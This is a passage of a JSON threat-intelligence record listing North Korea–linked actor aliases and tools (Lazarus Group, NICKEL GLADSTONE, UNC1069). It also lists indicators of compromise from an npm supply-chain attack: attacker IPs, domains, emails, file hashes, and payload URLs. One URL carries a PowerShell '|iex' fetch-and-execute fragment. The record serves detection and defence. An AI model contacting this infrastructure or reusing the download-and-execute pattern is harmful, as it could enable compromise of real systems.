			"id": "dcbff54d-13ec-40b5-b3b9-b74a315669e1",
			"created_at": "2026-02-03T02:00:03.428641Z",
			"updated_at": "2026-11-22T02:00:29.114815Z",
			"deleted_at": null,
			"main_name": "UNC1069",
			"aliases": [
				"MASAN",
				"CryptoCore",
				"MIDNIGHT NEPTUNE"
			],
			"source_name": "MISPGALAXY:UNC1069",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "fc4bdd16-8688-487d-b348-e837185e624e",
			"created_at": "2026-09-17T02:00:03.630601Z",
			"updated_at": "2026-11-22T02:00:09.769496Z",
			"deleted_at": null,
			"main_name": "NICKEL GLADSTONE",
			"aliases": [
				"APT38",
				"ATK 117",
				"Alluring Pisces",
				"Black Alicanto",
				"Bluenoroff",
				"CTG-6459",
				"Citrine Sleet",
				"HIDDEN COBRA",
				"Lazarus Group",
				"Sapphire Sleet",
				"Selective Pisces",
				"Stardust Chollima",
				"T-APT-15",
				"TA444",
				"TAG-71"
			],
			"source_name": "Secureworks:NICKEL GLADSTONE",
			"tools": [
				"AlphaNC",
				"Bankshot",
				"CATCH22",
				"CCGC_Proxy",
				"Cur1Agent",
				"KANDYKORN",
				"Ratankba",
				"RustBucket",
				"SUGARLOADER",
				"Server_TrafficForwarder",
				"SwiftLoader",
				"Wcry"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a2b92056-9378-4749-926b-7e10c4500dac",
			"created_at": "2023-01-06T13:46:38.430595Z",
			"updated_at": "2026-11-22T02:00:09.411116Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Dark Seoul",
				"Labyrinth Chollima",
				"Operation GhostSecret",
				"G0032",
				"Group 77",
				"APT 38",
				"COVELLITE",
				"BeagleBoyz",
				"Operation Troy",
				"Whois Hacking Team",
				"Diamond Sleet",
				"Operation DarkSeoul",
				"Hastati Group",
				"APT38",
				"Stardust Chollima",
				"ATK117",
				"COPERNICIUM",
				"Bureau 121",
				"Citrine Sleet",
				"DEV-0139",
				"DEV-1222",
				"Sapphire Sleet",
				"TA404",
				"ATK3",
				"G0082",
				"Hidden Cobra",
				"Andariel",
				"Unit 121",
				"Subgroup: Bluenoroff",
				"Operation AppleJeus",
				"Lazarus group",
				"Bluenoroff",
				"Appleworm",
				"APT-C-26",
				"NICKEL GLADSTONE",
				"Moonstone Sleet",
				"Black Artemis",
				"NewRomanic Cyber Army Team",
				"Nickel Academy"
			],
			"source_name": "MISPGALAXY:Lazarus Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1791943403,
	"ts_updated_at": 1795314164,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/85b3ca41eea73c4c23dbfaa1acd8c7ab3a74ce78.pdf",
		"text": "https://archive.orkl.eu/85b3ca41eea73c4c23dbfaa1acd8c7ab3a74ce78.txt",
		"img": "https://archive.orkl.eu/85b3ca41eea73c4c23dbfaa1acd8c7ab3a74ce78.jpg"
	},
	"iocs": [
		{
			"type": "domain",
			"value": "default.target",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "domain",
			"value": "github.com",
			"count": 2,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "domain",
			"value": "maskasd.com",
			"count": 2,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged",
				"in_url_host"
			]
		},
		{
			"type": "domain",
			"value": "npmstealz.za",
			"count": 1,
			"flags": [
				"upper_case"
			],
			"some_flags": [
				"upper_case"
			]
		},
		{
			"type": "domain",
			"value": "outlook.com",
			"count": 1,
			"flags": [
				"defanged",
				"in_email"
			],
			"some_flags": [
				"defanged",
				"in_email"
			]
		},
		{
			"type": "domain",
			"value": "psexec.de",
			"count": 1,
			"flags": [
				"upper_case"
			],
			"some_flags": [
				"upper_case"
			]
		},
		{
			"type": "domain",
			"value": "teams.onweblive.org",
			"count": 3,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged",
				"in_url_host"
			]
		},
		{
			"type": "domain",
			"value": "tutamail.com",
			"count": 3,
			"flags": [
				"in_email"
			],
			"some_flags": [
				"defanged",
				"in_email"
			]
		},
		{
			"type": "domain",
			"value": "www.microsoft.com",
			"count": 17,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "email",
			"value": "ehindero2016@tutamail.com",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "email",
			"value": "kunhello@outlook.com",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "email",
			"value": "sergey2016@tutamail.com",
			"count": 2,
			"flags": [],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "ipv4",
			"value": "23.254.164.123",
			"count": 4,
			"flags": [],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "ipv4",
			"value": "23.254.164.92",
			"count": 6,
			"flags": [],
			"some_flags": [
				"defanged",
				"in_url_host"
			]
		},
		{
			"type": "sha256",
			"value": "1d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "4a8860240e4231c3a74c81949be655a28e096a7d72f38fbe84e5b37636b98417",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "50eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "ae70dd4f6bc0d1c8c2848e4e6b51934626c4818dcb5af99d080ddbd7dc337185",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "b122a9873bedf145ae2a7fd024b5f309007dbb025149f4dc4ac3f7e4f32a36a4",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "b73de25c053c3225a077738a1fcbd9ca6966d7b3cd6f5494a30f0aa0eae55c7e",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://23.254.164.92:8000/update/49890878",
			"count": 3,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "url",
			"value": "https://maskasd.com/8555575039",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "url",
			"value": "https://teams.onweblive.org/api/update/8555575039/4",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "url",
			"value": "https://teams.onweblive.org/api/update/8555575039/4|iex",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "url",
			"value": "https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/",
			"count": 17,
			"flags": [],
			"some_flags": []
		}
	]
}